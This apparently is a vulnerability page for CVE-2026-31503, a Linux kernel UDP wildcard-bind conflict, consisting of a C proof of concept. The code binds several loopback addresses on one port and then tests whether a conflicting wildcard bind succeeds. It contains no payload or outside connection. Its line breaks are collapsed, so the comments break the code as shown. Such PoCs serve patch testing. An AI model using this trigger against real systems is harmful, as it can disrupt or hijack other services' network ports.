CVE-2026-31503 Linux内核UDP通配符绑定冲突漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> #define PORT 8888 #define BIND_COUNT 11 int main() { int sockets[BIND_COUNT]; struct sockaddr_in addr; int i; printf("[+] Starting PoC for CVE-2026-31503...\n"); // Step 1: Bind multiple specific IPs to trigger hash2 usage // Note: This requires the system to have multiple local IPs configured (e.g., aliases) for (i = 0; i < BIND_COUNT; i++) { sockets[i] = socket(AF_INET, SOCK_DGRAM, 0); if (sockets[i] < 0) { perror("socket"); return 1; } memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); // Example: bind to 127.0.0.1, 127.0.0.2, etc. Ensure these IPs exist. addr.sin_addr.s_addr = htonl(0x7F000001 + i); if (bind(sockets[i], (struct sockaddr*)&addr, sizeof(addr)) < 0) { printf("[-] Failed to bind specific IP 127.0.0.%d (might not exist).\n", i+1); } else { printf("[+] Bound to 127.0.0.%d:%d\n", i+1, PORT); } } // Step 2: Attempt wildcard bind int wildcard_sock = socket(AF_INET, SOCK_DGRAM, 0); memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(wildcard_sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) { printf("[!] SUCCESS: Wildcard bind (0.0.0.0:%d) succeeded unexpectedly! Vulnerability confirmed.\n", PORT); } else { printf("[-] FAIL: Wildcard bind failed. System may be patched or prerequisites not met.\n"); } // Cleanup close(wildcard_sock); for (i = 0; i < BIND_COUNT; i++) close(sockets[i]); return 0; }